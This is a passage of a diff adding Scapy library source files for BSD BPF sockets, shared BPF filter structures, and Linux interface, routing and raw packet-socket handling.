+            # Get a BPF handle
+            fd, _ = get_dev_bpf()
+            if fd is None:
+                raise Scapy_Exception("No /dev/bpf are available !")
+
+            # Check if the interface can be used
+            try:
+                fcntl.ioctl(fd, BIOCSETIF, struct.pack("16s16x", ifname.encode()))
+                interfaces.append((ifname, int(ifname[-1])))
+            except IOError as err:
+                pass
+
+            # Close the file descriptor
+            os.close(fd)
+
+    # Sort to mimic pcap_findalldevs() order
+    interfaces.sort(lambda ifname_left_and_ifid_left,
+                        ifname_right_and_ifid_right: ifname_left_and_ifid_left[1]-ifname_right_and_ifid_right[1])
+    return interfaces
+
+
+def get_working_if():
+    """Returns the first interface than can be used with BPF"""
+
+    ifaces = get_working_ifaces()
+    if not ifaces:
+        # A better interface will be selected later using the routing table
+        return LOOPBACK_NAME
+    return ifaces[0][0]
diff --git a/scapy/arch/bpf/supersocket.py b/scapy/arch/bpf/supersocket.py
new file mode 100644
index 0000000..7d04e18
--- /dev/null
+++ b/scapy/arch/bpf/supersocket.py
@@ -0,0 +1,372 @@
+# Guillaume Valadon <guillaume@valadon.net>
+
+"""
+Scapy *BSD native support - BPF sockets
+"""
+
+import errno
+import fcntl
+import os
+from select import select
+import struct
+import time
+
+from scapy.arch.bpf.core import get_dev_bpf, attach_filter
+from scapy.arch.bpf.consts import BIOCGBLEN, BIOCGDLT, BIOCGSTATS, \
+    BIOCIMMEDIATE, BIOCPROMISC, BIOCSBLEN, BIOCSETIF, BIOCSHDRCMPLT, \
+    BPF_BUFFER_LENGTH
+from scapy.config import conf
+from scapy.consts import FREEBSD, NETBSD
+from scapy.data import ETH_P_ALL
+from scapy.error import Scapy_Exception, warning
+from scapy.supersocket import SuperSocket
+from scapy.compat import raw
+
+
+if FREEBSD or NETBSD:
+    BPF_ALIGNMENT = 8  # sizeof(long)
+else:
+    BPF_ALIGNMENT = 4  # sizeof(int32_t)
+
+
+# SuperSockets definitions
+
+class _L2bpfSocket(SuperSocket):
+    """"Generic Scapy BPF Super Socket"""
+
+    desc = "read/write packets using BPF"
+    assigned_interface = None
+    fd_flags = None
+    ins = None
+    closed = False
+
+    def __init__(self, iface=None, type=ETH_P_ALL, promisc=None, filter=None, nofilter=0):
+
+        # SuperSocket mandatory variables
+        if promisc is None:
+            self.promisc = conf.sniff_promisc
+        else:
+            self.promisc = promisc
+
+        if iface is None:
+            self.iface = conf.iface
+        else:
+            self.iface = iface
+
+        # Get the BPF handle
+        (self.ins, self.dev_bpf) = get_dev_bpf()
+        self.outs = self.ins
+
+        # Set the BPF buffer length
+        try:
+            fcntl.ioctl(self.ins, BIOCSBLEN, struct.pack('I', BPF_BUFFER_LENGTH))
+        except IOError:
+            raise Scapy_Exception("BIOCSBLEN failed on /dev/bpf%i" %
+                                  self.dev_bpf)
+
+        # Assign the network interface to the BPF handle
+        try:
+            fcntl.ioctl(self.ins, BIOCSETIF, struct.pack("16s16x", self.iface.encode()))
+        except IOError:
+            raise Scapy_Exception("BIOCSETIF failed on %s" % self.iface)
+        self.assigned_interface = self.iface
+
+        # Set the interface into promiscuous
+        if self.promisc:
+            self.set_promisc(1)
+
+        # Don't block on read
+        try:
+            fcntl.ioctl(self.ins, BIOCIMMEDIATE, struct.pack('I', 1))
+        except IOError:
+            raise Scapy_Exception("BIOCIMMEDIATE failed on /dev/bpf%i" %
+                                  self.dev_bpf)
+
+        # Scapy will provide the link layer source address
+        # Otherwise, it is written by the kernel
+        try:
+            fcntl.ioctl(self.ins, BIOCSHDRCMPLT, struct.pack('i', 1))
+        except IOError:
+            raise Scapy_Exception("BIOCSHDRCMPLT failed on /dev/bpf%i" %
+                                  self.dev_bpf)
+
+        # Configure the BPF filter
+        if not nofilter:
+            if conf.except_filter:
+                if filter:
+                    filter = "(%s) and not (%s)" % (filter, conf.except_filter)
+                else:
+                    filter = "not (%s)" % conf.except_filter
+            if filter is not None:
+                attach_filter(self.ins, self.iface, filter)
+
+        # Set the guessed packet class
+        self.guessed_cls = self.guess_cls()
+
+    def set_promisc(self, value):
+        """Set the interface in promiscuous mode"""
+
+        try:
+            fcntl.ioctl(self.ins, BIOCPROMISC, struct.pack('i', value))
+        except IOError:
+            raise Scapy_Exception("Cannot set promiscuous mode on interface "
+                                  "(%s)!" % self.iface)
+
+    def __del__(self):
+        """Close the file descriptor on delete"""
+        # When the socket is deleted on Scapy exits, __del__ is
+        # sometimes called "too late", and self is None
+        if self is not None:
+            self.close()
+
+    def guess_cls(self):
+        """Guess the packet class that must be used on the interface"""
+
+        # Get the data link type
+        try:
+            ret = fcntl.ioctl(self.ins, BIOCGDLT, struct.pack('I', 0))
+            ret = struct.unpack('I', ret)[0]
+        except IOError:
+            cls = conf.default_l2
+            warning("BIOCGDLT failed: unable to guess type. Using %s !",
+                    cls.name)
+            return cls
+
+        # Retrieve the corresponding class
+        try:
+            return conf.l2types[ret]
+        except KeyError:
+            cls = conf.default_l2
+            warning("Unable to guess type (type %i). Using %s", ret, cls.name)
+
+    def set_nonblock(self, set_flag=True):
+        """Set the non blocking flag on the socket"""
+
+        # Get the current flags
+        if self.fd_flags is None:
+            try:
+                self.fd_flags = fcntl.fcntl(self.ins, fcntl.F_GETFL)
+            except IOError:
+                warning("Cannot get flags on this file descriptor !")
+                return
+
+        # Set the non blocking flag
+        if set_flag:
+            new_fd_flags = self.fd_flags | os.O_NONBLOCK
+        else:
+            new_fd_flags = self.fd_flags & ~os.O_NONBLOCK
+
+        try:
+            fcntl.fcntl(self.ins, fcntl.F_SETFL, new_fd_flags)
+            self.fd_flags = new_fd_flags
+        except:
+            warning("Can't set flags on this file descriptor !")
+
+    def get_stats(self):
+        """Get received / dropped statistics"""
+
+        try:
+            ret = fcntl.ioctl(self.ins, BIOCGSTATS, struct.pack("2I", 0, 0))
+            return struct.unpack("2I", ret)
+        except IOError:
+            warning("Unable to get stats from BPF !")
+            return (None, None)
+
+    def get_blen(self):
+        """Get the BPF buffer length"""
+
+        try:
+            ret = fcntl.ioctl(self.ins, BIOCGBLEN, struct.pack("I", 0))
+            return struct.unpack("I", ret)[0]
+        except IOError:
+            warning("Unable to get the BPF buffer length")
+            return
+
+    def fileno(self):
+        """Get the underlying file descriptor"""
+        return self.ins
+
+    def close(self):
+        """Close the Super Socket"""
+
+        if not self.closed and self.ins is not None:
+            os.close(self.ins)
+            self.closed = True
+            self.ins = None
+
+    def send(self, x):
+        """Dummy send method"""
+        raise Exception("Can't send anything with %s" % self.__name__)
+
+    def recv(self, x=BPF_BUFFER_LENGTH):
+        """Dummy recv method"""
+        raise Exception("Can't recv anything with %s" % self.__name__)
+
+
+class L2bpfListenSocket(_L2bpfSocket):
+    """"Scapy L2 BPF Listen Super Socket"""
+
+    received_frames = []
+
+    def buffered_frames(self):
+        """Return the number of frames in the buffer"""
+        return len(self.received_frames)
+
+    def get_frame(self):
+        """Get a frame or packet from the received list"""
+        if self.received_frames:
+            return self.received_frames.pop(0)
+
+    @staticmethod
+    def bpf_align(bh_h, bh_c):
+        """Return the index to the end of the current packet"""
+
+        # from <net/bpf.h>
+        return ((bh_h + bh_c)+(BPF_ALIGNMENT-1)) & ~(BPF_ALIGNMENT-1)
+
+    def extract_frames(self, bpf_buffer):
+        """Extract all frames from the buffer and stored them in the received list."""
+
+        # Ensure that the BPF buffer contains at least the header
+        len_bb = len(bpf_buffer)
+        if len_bb < 20:  # Note: 20 == sizeof(struct bfp_hdr)
+            return
+
+        # Extract useful information from the BPF header
+        if FREEBSD or NETBSD:
+            # struct bpf_xhdr or struct bpf_hdr32
+            bh_tstamp_offset = 16
+        else:
+            # struct bpf_hdr
+            bh_tstamp_offset = 8
+
+        # Parse the BPF header
+        bh_caplen = struct.unpack('I', bpf_buffer[bh_tstamp_offset:bh_tstamp_offset+4])[0]
+        next_offset = bh_tstamp_offset + 4
+        bh_datalen = struct.unpack('I', bpf_buffer[next_offset:next_offset+4])[0]
+        next_offset += 4
+        bh_hdrlen = struct.unpack('H', bpf_buffer[next_offset:next_offset+2])[0]
+        if bh_datalen == 0:
+            return
+
+        # Get and store the Scapy object
+        frame_str = bpf_buffer[bh_hdrlen:bh_hdrlen+bh_caplen]
+        try:
+            pkt = self.guessed_cls(frame_str)
+        except:
+            if conf.debug_dissector:
+                raise
+            pkt = conf.raw_layer(frame_str)
+        self.received_frames.append(pkt)
+
+        # Extract the next frame
+        end = self.bpf_align(bh_hdrlen, bh_caplen)
+        if (len_bb - end) >= 20:
+            self.extract_frames(bpf_buffer[end:])
+
+    def recv(self, x=BPF_BUFFER_LENGTH):
+        """Receive a frame from the network"""
+
+        if self.buffered_frames():
+            # Get a frame from the buffer
+            return self.get_frame()
+
+        # Get data from BPF
+        try:
+            bpf_buffer = os.read(self.ins, x)
+        except EnvironmentError as exc:
+            if exc.errno != errno.EAGAIN:
+                warning("BPF recv()", exc_info=True)
+            return
+
+        # Extract all frames from the BPF buffer
+        self.extract_frames(bpf_buffer)
+        return self.get_frame()
+
+
+class L2bpfSocket(L2bpfListenSocket):
+    """"Scapy L2 BPF Super Socket"""
+
+    def send(self, x):
+        """Send a frame"""
+        return os.write(self.outs, raw(x))
+
+    def nonblock_recv(self):
+        """Non blocking receive"""
+
+        if self.buffered_frames():
+            # Get a frame from the buffer
+            return self.get_frame()
+
+        # Set the non blocking flag, read from the socket, and unset the flag
+        self.set_nonblock(True)
+        pkt = L2bpfListenSocket.recv(self)
+        self.set_nonblock(False)
+        return pkt
+
+
+class L3bpfSocket(L2bpfSocket):
+
+    def get_frame(self):
+        """Get a frame or packet from the received list"""
+        pkt = super(L3bpfSocket, self).get_frame()
+        if pkt is not None:
+            return pkt.payload
+
+    def send(self, pkt):
+        """Send a packet"""
+
+        # Use the routing table to find the output interface
+        iff = pkt.route()[0]
+        if iff is None:
+            iff = conf.iface
+
+        # Assign the network interface to the BPF handle
+        if self.assigned_interface != iff:
+            try:
+                fcntl.ioctl(self.outs, BIOCSETIF, struct.pack("16s16x", iff.encode()))
+            except IOError:
+                raise Scapy_Exception("BIOCSETIF failed on %s" % iff)
+            self.assigned_interface = iff
+
+        # Build the frame
+        frame = raw(self.guessed_cls()/pkt)
+        pkt.sent_time = time.time()
+
+        # Send the frame
+        L2bpfSocket.send(self, frame)
+
+
+# Sockets manipulation functions
+
+def isBPFSocket(obj):
+    """Return True is obj is a BPF Super Socket"""
+    return isinstance(obj, L2bpfListenSocket) or isinstance(obj, L2bpfListenSocket) or isinstance(obj, L3bpfSocket)
+
+
+def bpf_select(fds_list, timeout=None):
+    """A call to recv() can return several frames. This functions hides the fact
+       that some frames are read from the internal buffer."""
+
+    # Check file descriptors types
+    bpf_scks_buffered = list()
+    select_fds = list()
+
+    for tmp_fd in fds_list:
+
+        # Specific BPF sockets: get buffers status
+        if isBPFSocket(tmp_fd) and tmp_fd.buffered_frames():
+            bpf_scks_buffered.append(tmp_fd)
+            continue
+
+        # Regular file descriptors or empty BPF buffer
+        select_fds.append(tmp_fd)
+
+    if select_fds:
+        # Call select for sockets with empty buffers
+        if timeout is None:
+            timeout = 0.05
+        ready_list, _, _ = select(select_fds, [], [], timeout)
+        return bpf_scks_buffered + ready_list
+    else:
+        return bpf_scks_buffered
diff --git a/scapy/arch/common.py b/scapy/arch/common.py
new file mode 100644
index 0000000..5c17953
--- /dev/null
+++ b/scapy/arch/common.py
@@ -0,0 +1,81 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Functions common to different architectures
+"""
+
+import socket
+from fcntl import ioctl
+import os, struct, ctypes
+from ctypes import POINTER, Structure
+from ctypes import c_uint, c_uint32, c_ushort, c_ubyte
+from scapy.config import conf
+import scapy.modules.six as six
+
+def get_if(iff, cmd):
+    """Ease SIOCGIF* ioctl calls"""
+
+    sck = socket.socket()
+    ifreq = ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8")))
+    sck.close()
+    return ifreq
+
+class bpf_insn(Structure):
+    """"The BPF instruction data structure"""
+    _fields_ = [("code", c_ushort),
+                ("jt", c_ubyte),
+                ("jf", c_ubyte),
+                ("k", c_uint32)]
+
+
+class bpf_program(Structure):
+    """"Structure for BIOCSETF"""
+    _fields_ = [("bf_len", c_uint),
+                ("bf_insns", POINTER(bpf_insn))]
+
+def _legacy_bpf_pointer(tcpdump_lines):
+    """Get old-format BPF Pointer. Deprecated"""
+    X86_64 = os.uname()[4] in ['x86_64', 'aarch64']
+    size = int(tcpdump_lines[0])
+    bpf = ""
+    for l in tcpdump_lines[1:]:
+        bpf += struct.pack("HBBI",*map(long,l.split()))
+
+    # Thanks to http://www.netprojects.de/scapy-with-pypy-solved/ for the pypy trick
+    if conf.use_pypy and six.PY2:
+        str_buffer = ctypes.create_string_buffer(bpf)
+        return struct.pack('HL', size, ctypes.addressof(str_buffer))
+    else:
+        # XXX. Argl! We need to give the kernel a pointer on the BPF,
+        # Python object header seems to be 20 bytes. 36 bytes for x86 64bits arch.
+        if X86_64:
+            return struct.pack("HL", size, id(bpf)+36)
+        else:
+            return struct.pack("HI", size, id(bpf)+20)
+
+def get_bpf_pointer(tcpdump_lines):
+    """Create a BPF Pointer for TCPDump filter"""
+    if conf.use_pypy and six.PY2:
+        return _legacy_bpf_pointer(tcpdump_lines)
+    
+    # Allocate BPF instructions
+    size = int(tcpdump_lines[0])
+    bpf_insn_a = bpf_insn * size
+    bip = bpf_insn_a()
+
+    # Fill the BPF instruction structures with the byte code
+    tcpdump_lines = tcpdump_lines[1:]
+    i = 0
+    for line in tcpdump_lines:
+        values = [int(v) for v in line.split()]
+        bip[i].code = c_ushort(values[0])
+        bip[i].jt = c_ubyte(values[1])
+        bip[i].jf = c_ubyte(values[2])
+        bip[i].k = c_uint(values[3])
+        i += 1
+
+    # Create the BPF program
+    return bpf_program(size, bip)
diff --git a/scapy/arch/linux.py b/scapy/arch/linux.py
new file mode 100644
index 0000000..b451fd1
--- /dev/null
+++ b/scapy/arch/linux.py
@@ -0,0 +1,623 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Linux specific functions.
+"""
+
+from __future__ import absolute_import
+
+
+import array
+import ctypes
+from fcntl import ioctl
+import os
+from select import select
+import socket
+import struct
+import sys
+import time
+
+
+from scapy.compat import *
+from scapy.consts import LOOPBACK_NAME, IS_64BITS
+import scapy.utils
+import scapy.utils6
+from scapy.packet import Packet, Padding
+from scapy.config import conf
+from scapy.data import *
+from scapy.supersocket import SuperSocket
+import scapy.arch
+from scapy.error import warning, Scapy_Exception, log_interactive, log_loading
+from scapy.arch.common import get_if, get_bpf_pointer
+from scapy.modules.six.moves import range
+
+
+
+# From bits/ioctls.h
+SIOCGIFHWADDR  = 0x8927          # Get hardware address    
+SIOCGIFADDR    = 0x8915          # get PA address          
+SIOCGIFNETMASK = 0x891b          # get network PA mask     
+SIOCGIFNAME    = 0x8910          # get iface name          
+SIOCSIFLINK    = 0x8911          # set iface channel       
+SIOCGIFCONF    = 0x8912          # get iface list          
+SIOCGIFFLAGS   = 0x8913          # get flags               
+SIOCSIFFLAGS   = 0x8914          # set flags               
+SIOCGIFINDEX   = 0x8933          # name -> if_index mapping
+SIOCGIFCOUNT   = 0x8938          # get number of devices
+SIOCGSTAMP     = 0x8906          # get packet timestamp (as a timeval)
+
+# From if.h
+IFF_UP = 0x1               # Interface is up.
+IFF_BROADCAST = 0x2        # Broadcast address valid.
+IFF_DEBUG = 0x4            # Turn on debugging.
+IFF_LOOPBACK = 0x8         # Is a loopback net.
+IFF_POINTOPOINT = 0x10     # Interface is point-to-point link.
+IFF_NOTRAILERS = 0x20      # Avoid use of trailers.
+IFF_RUNNING = 0x40         # Resources allocated.
+IFF_NOARP = 0x80           # No address resolution protocol.
+IFF_PROMISC = 0x100        # Receive all packets.
+
+# From netpacket/packet.h
+PACKET_ADD_MEMBERSHIP  = 1
+PACKET_DROP_MEMBERSHIP = 2
+PACKET_RECV_OUTPUT     = 3
+PACKET_RX_RING         = 5
+PACKET_STATISTICS      = 6
+PACKET_MR_MULTICAST    = 0
+PACKET_MR_PROMISC      = 1
+PACKET_MR_ALLMULTI     = 2
+
+# From bits/socket.h
+SOL_PACKET = 263
+# From asm/socket.h
+SO_ATTACH_FILTER = 26
+
+# From net/route.h
+RTF_UP = 0x0001  # Route usable
+RTF_REJECT = 0x0200
+
+# From if_packet.h
+PACKET_HOST = 0  # To us
+PACKET_BROADCAST = 1  # To all
+PACKET_MULTICAST = 2  # To group
+PACKET_OTHERHOST = 3  # To someone else
+PACKET_OUTGOING = 4  # Outgoing of any type
+PACKET_LOOPBACK = 5  # MC/BRD frame looped back
+PACKET_USER = 6  # To user space
+PACKET_KERNEL = 7  # To kernel space
+PACKET_FASTROUTE = 6  # Fastrouted frame
+# Unused, PACKET_FASTROUTE and PACKET_LOOPBACK are invisible to user space
+
+
+with os.popen("%s -V 2> /dev/null" % conf.prog.tcpdump) as _f:
+    if _f.close() >> 8 == 0x7f:
+        log_loading.warning("Failed to execute tcpdump. Check it is installed and in the PATH")
+        TCPDUMP=0
+    else:
+        TCPDUMP=1
+del(_f)
+    
+
+def get_if_raw_hwaddr(iff):
+    return struct.unpack("16xh6s8x",get_if(iff,SIOCGIFHWADDR))
+
+def get_if_raw_addr(iff):
+    try:
+        return get_if(iff, SIOCGIFADDR)[20:24]
+    except IOError:
+        return b"\0\0\0\0"
+
+
+def get_if_list():
+    try:
+        f=open("/proc/net/dev", "rb")
+    except IOError:
+        warning("Can't open /proc/net/dev !")
+        return []
+    lst = []
+    f.readline()
+    f.readline()
+    for l in f:
+        l = plain_str(l)
+        lst.append(l.split(":")[0].strip())
+    return lst
+def get_working_if():
+    for i in get_if_list():
+        if i == LOOPBACK_NAME:                
+            continue
+        ifflags = struct.unpack("16xH14x",get_if(i,SIOCGIFFLAGS))[0]
+        if ifflags & IFF_UP:
+            return i
+    return LOOPBACK_NAME
+
+def attach_filter(s, bpf_filter, iface):
+    # XXX We generate the filter on the interface conf.iface 
+    # because tcpdump open the "any" interface and ppp interfaces
+    # in cooked mode. As we use them in raw mode, the filter will not
+    # work... one solution could be to use "any" interface and translate
+    # the filter from cooked mode to raw mode
+    # mode
+    if not TCPDUMP:
+        return
+    try:
+        f = os.popen("%s -i %s -ddd -s %d '%s'" % (
+            conf.prog.tcpdump,
+            conf.iface if iface is None else iface,
+            MTU,
+            bpf_filter,
+        ))
+    except OSError:
+        log_interactive.warning("Failed to attach filter.",
+                                exc_info=True)
+        return
+    lines = f.readlines()
+    ret = f.close()
+    if ret:
+        log_interactive.warning(
+            "Failed to attach filter: tcpdump returned %d", ret
+        )
+        return
+    
+    bp = get_bpf_pointer(lines)
+    s.setsockopt(socket.SOL_SOCKET, SO_ATTACH_FILTER, bp)
+
+def set_promisc(s,iff,val=1):
+    mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"")
+    if val:
+        cmd = PACKET_ADD_MEMBERSHIP
+    else:
+        cmd = PACKET_DROP_MEMBERSHIP
+    s.setsockopt(SOL_PACKET, cmd, mreq)
+
+
+def get_alias_address(iface_name, ip_mask, gw_str, metric):
+    """
+    Get the correct source IP address of an interface alias
+    """
+
+    # Detect the architecture
+    if scapy.consts.IS_64BITS:
+        offset, name_len = 16, 40
+    else:
+        offset, name_len = 32, 32
+
+    # Retrieve interfaces structures
+    sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    names = array.array('B', b'\0' * 4096)
+    ifreq = ioctl(sck.fileno(), SIOCGIFCONF,
+                  struct.pack("iL", len(names), names.buffer_info()[0]))
+
+    # Extract interfaces names
+    out = struct.unpack("iL", ifreq)[0]
+    names = names.tostring()
+    names = [names[i:i+offset].split(b'\0', 1)[0] for i in range(0, out, name_len)]
+
+    # Look for the IP address
+    for ifname in names:
+        # Only look for a matching interface name
+        if not ifname.decode("utf8").startswith(iface_name):
+            continue
+
+        # Retrieve and convert addresses
+        ifreq = ioctl(sck, SIOCGIFADDR, struct.pack("16s16x", ifname))
+        ifaddr = struct.unpack(">I", ifreq[20:24])[0]
+        ifreq = ioctl(sck, SIOCGIFNETMASK, struct.pack("16s16x", ifname))
+        msk = struct.unpack(">I", ifreq[20:24])[0]
+       
+        # Get the full interface name
+        ifname = plain_str(ifname)
+        if ':' in ifname:
+            ifname = ifname[:ifname.index(':')]
+        else:
+            continue
+
+        # Check if the source address is included in the network
+        if (ifaddr & msk) == ip_mask:
+            sck.close()
+            return (ifaddr & msk, msk, gw_str, ifname,
+                    scapy.utils.ltoa(ifaddr), metric)
+
+    sck.close()
+    return
+
+
+def read_routes():
+    try:
+        f=open("/proc/net/route", "rb")
+    except IOError:
+        warning("Can't open /proc/net/route !")
+        return []
+    routes = []
+    s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    ifreq = ioctl(s, SIOCGIFADDR,struct.pack("16s16x", LOOPBACK_NAME.encode("utf8")))
+    addrfamily = struct.unpack("h",ifreq[16:18])[0]
+    if addrfamily == socket.AF_INET:
+        ifreq2 = ioctl(s, SIOCGIFNETMASK,struct.pack("16s16x", LOOPBACK_NAME.encode("utf8")))
+        msk = socket.ntohl(struct.unpack("I",ifreq2[20:24])[0])
+        dst = socket.ntohl(struct.unpack("I",ifreq[20:24])[0]) & msk
+        ifaddr = scapy.utils.inet_ntoa(ifreq[20:24])
+        routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr, 1))
+    else:
+        warning("Interface lo: unkown address family (%i)"% addrfamily)
+
+    for l in f.readlines()[1:]:
+        l = plain_str(l)
+        iff,dst,gw,flags,x,x,metric,msk,x,x,x = l.split()
+        flags = int(flags,16)
+        if flags & RTF_UP == 0:
+            continue
+        if flags & RTF_REJECT:
+            continue
+        try:
+            ifreq = ioctl(s, SIOCGIFADDR,struct.pack("16s16x", iff.encode("utf8")))
+        except IOError: # interface is present in routing tables but does not have any assigned IP
+            ifaddr="0.0.0.0"
+        else:
+            addrfamily = struct.unpack("h",ifreq[16:18])[0]
+            if addrfamily == socket.AF_INET:
+                ifaddr = scapy.utils.inet_ntoa(ifreq[20:24])
+            else:
+                warning("Interface %s: unkown address family (%i)", iff, addrfamily)
+                continue
+
+        # Attempt to detect an interface alias based on addresses inconsistencies
+        dst_int = socket.htonl(int(dst, 16)) & 0xffffffff
+        msk_int = socket.htonl(int(msk, 16)) & 0xffffffff
+        ifaddr_int = struct.unpack("!I", ifreq[20:24])[0]
+        gw_str = scapy.utils.inet_ntoa(struct.pack("I", int(gw, 16)))
+        metric = int(metric)
+
+        if ifaddr_int & msk_int != dst_int:
+            tmp_route = get_alias_address(iff, dst_int, gw_str, metric)
+            if tmp_route:
+                routes.append(tmp_route)
+            else:
+                routes.append((dst_int, msk_int, gw_str, iff, ifaddr, metric))
+
+        else:
+            routes.append((dst_int, msk_int, gw_str, iff, ifaddr, metric))
+    
+    f.close()
+    return routes
+
+############
+### IPv6 ###
+############
+
+def in6_getifaddr():
+    """
+    Returns a list of 3-tuples of the form (addr, scope, iface) where
+    'addr' is the address of scope 'scope' associated to the interface
+    'ifcace'.
+
+    This is the list of all addresses of all interfaces available on
+    the system.
+    """
+    ret = []
+    try:
+        fdesc = open("/proc/net/if_inet6", "rb")
+    except IOError as err:    
+        return ret
+    for line in fdesc:
+        # addr, index, plen, scope, flags, ifname
+        tmp = plain_str(line).split()
+        addr = scapy.utils6.in6_ptop(
+            b':'.join(
+                struct.unpack('4s4s4s4s4s4s4s4s', tmp[0].encode())
+            ).decode()
+        )
+        # (addr, scope, iface)
+        ret.append((addr, int(tmp[3], 16), tmp[5]))
+    return ret
+
+def read_routes6():
+    try:
+        f = open("/proc/net/ipv6_route","rb")
+    except IOError as err:
+        return []
+    # 1. destination network
+    # 2. destination prefix length
+    # 3. source network displayed
+    # 4. source prefix length
+    # 5. next hop
+    # 6. metric
+    # 7. reference counter (?!?)
+    # 8. use counter (?!?)
+    # 9. flags
+    # 10. device name
+    routes = []
+    def proc2r(p):
+        ret = struct.unpack('4s4s4s4s4s4s4s4s', raw(p))
+        ret = b':'.join(ret).decode()
+        return scapy.utils6.in6_ptop(ret)
+    
+    lifaddr = in6_getifaddr() 
+    for l in f.readlines():
+        l = plain_str(l)
+        d,dp,s,sp,nh,metric,rc,us,fl,dev = l.split()
+        metric = int(metric, 16)
+        fl = int(fl, 16)
+
+        if fl & RTF_UP == 0:
+            continue
+        if fl & RTF_REJECT:
+            continue
+
+        d = proc2r(d) ; dp = int(dp, 16)
+        s = proc2r(s) ; sp = int(sp, 16)
+        nh = proc2r(nh)
+
+        cset = [] # candidate set (possible source addresses)
+        if dev == LOOPBACK_NAME:
+            if d == '::':
+                continue
+            cset = ['::1']
+        else:
+            devaddrs = (x for x in lifaddr if x[2] == dev)
+            cset = scapy.utils6.construct_source_candidate_set(d, dp, devaddrs)
+        
+        if len(cset) != 0:
+            routes.append((d, dp, nh, dev, cset, metric))
+    f.close()
+    return routes   
+
+
+def get_if_index(iff):
+    return int(struct.unpack("I",get_if(iff, SIOCGIFINDEX)[16:20])[0])
+
+if os.uname()[4] in [ 'x86_64', 'aarch64' ]:
+    def get_last_packet_timestamp(sock):
+        ts = ioctl(sock, SIOCGSTAMP, "1234567890123456")
+        s,us = struct.unpack("QQ",ts)
+        return s+us/1000000.0
+else:
+    def get_last_packet_timestamp(sock):
+        ts = ioctl(sock, SIOCGSTAMP, "12345678")
+        s,us = struct.unpack("II",ts)
+        return s+us/1000000.0
+
+
+def _flush_fd(fd):
+    if hasattr(fd, 'fileno'):
+        fd = fd.fileno()
+    while True:
+        r,w,e = select([fd],[],[],0)
+        if r:
+            os.read(fd,MTU)
+        else:
+            break
+
+
+
+
+
+class L3PacketSocket(SuperSocket):
+    desc = "read/write packets at layer 3 using Linux PF_PACKET sockets"
+    def __init__(self, type = ETH_P_ALL, filter=None, promisc=None, iface=None, nofilter=0):
+        self.type = type
+        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
+        self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0)
+        if iface:
+            self.ins.bind((iface, type))
+        if not nofilter:
+            if conf.except_filter:
+                if filter:
+                    filter = "(%s) and not (%s)" % (filter, conf.except_filter)
+                else:
+                    filter = "not (%s)" % conf.except_filter
+            if filter is not None:
+                attach_filter(self.ins, filter, iface)
+        _flush_fd(self.ins)
+        self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
+        self.outs = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
+        self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30)
+        self.promisc = conf.promisc if promisc is None else promisc
+        if self.promisc:
+            if iface is None:
+                self.iff = get_if_list()
+            elif isinstance(iface, list):
+                self.iff = iface
+            else:
+                self.iff = [iface]
+            for i in self.iff:
+                set_promisc(self.ins, i)
+    def close(self):
+        if self.closed:
+            return
+        self.closed = 1
+        if self.promisc:
+            for i in self.iff:
+                set_promisc(self.ins, i, 0)
+        SuperSocket.close(self)
+    def recv(self, x=MTU):
+        pkt, sa_ll = self.ins.recvfrom(x)
+        if sa_ll[2] == socket.PACKET_OUTGOING:
+            return None
+        if sa_ll[3] in conf.l2types:
+            cls = conf.l2types[sa_ll[3]]
+            lvl = 2
+        elif sa_ll[1] in conf.l3types:
+            cls = conf.l3types[sa_ll[1]]
+            lvl = 3
+        else:
+            cls = conf.default_l2
+            warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s", sa_ll[0], sa_ll[1], sa_ll[3], cls.name)
+            lvl = 2
+
+        try:
+            pkt = cls(pkt)
+        except KeyboardInterrupt:
+            raise
+        except:
+            if conf.debug_dissector:
+                raise
+            pkt = conf.raw_layer(pkt)
+        if lvl == 2:
+            pkt = pkt.payload
+            
+        if pkt is not None:
+            pkt.time = get_last_packet_timestamp(self.ins)
+        return pkt
+    
+    def send(self, x):
+        iff,a,gw  = x.route()
+        if iff is None:
+            iff = conf.iface
+        sdto = (iff, self.type)
+        self.outs.bind(sdto)
+        sn = self.outs.getsockname()
+        ll = lambda x:x
+        if type(x) in conf.l3types:
+            sdto = (iff, conf.l3types[type(x)])
+        if sn[3] in conf.l2types:
+            ll = lambda x:conf.l2types[sn[3]]()/x
+        sx = raw(ll(x))
+        x.sent_time = time.time()
+        try:
+            self.outs.sendto(sx, sdto)
+        except socket.error as msg:
+            if msg[0] == 22 and len(sx) < conf.min_pkt_size:
+                self.outs.send(sx + b"\x00" * (conf.min_pkt_size - len(sx)))
+            elif conf.auto_fragment and msg[0] == 90:
+                for p in x.fragment():
+                    self.outs.sendto(raw(ll(p)), sdto)
+            else:
+                raise
+
+
+
+class L2Socket(SuperSocket):
+    desc = "read/write packets at layer 2 using Linux PF_PACKET sockets"
+    def __init__(self, iface=None, type=ETH_P_ALL, promisc=None, filter=None, nofilter=0):
+        self.iface = conf.iface if iface is None else iface
+        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
+        self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0)
+        if not nofilter: 
+            if conf.except_filter:
+                if filter:
+                    filter = "(%s) and not (%s)" % (filter, conf.except_filter)
+                else:
+                    filter = "not (%s)" % conf.except_filter
+            if filter is not None:
+                attach_filter(self.ins, filter, iface)
+        self.promisc = conf.sniff_promisc if promisc is None else promisc
+        if self.promisc:
+            set_promisc(self.ins, self.iface)
+        self.ins.bind((self.iface, type))
+        _flush_fd(self.ins)
+        self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
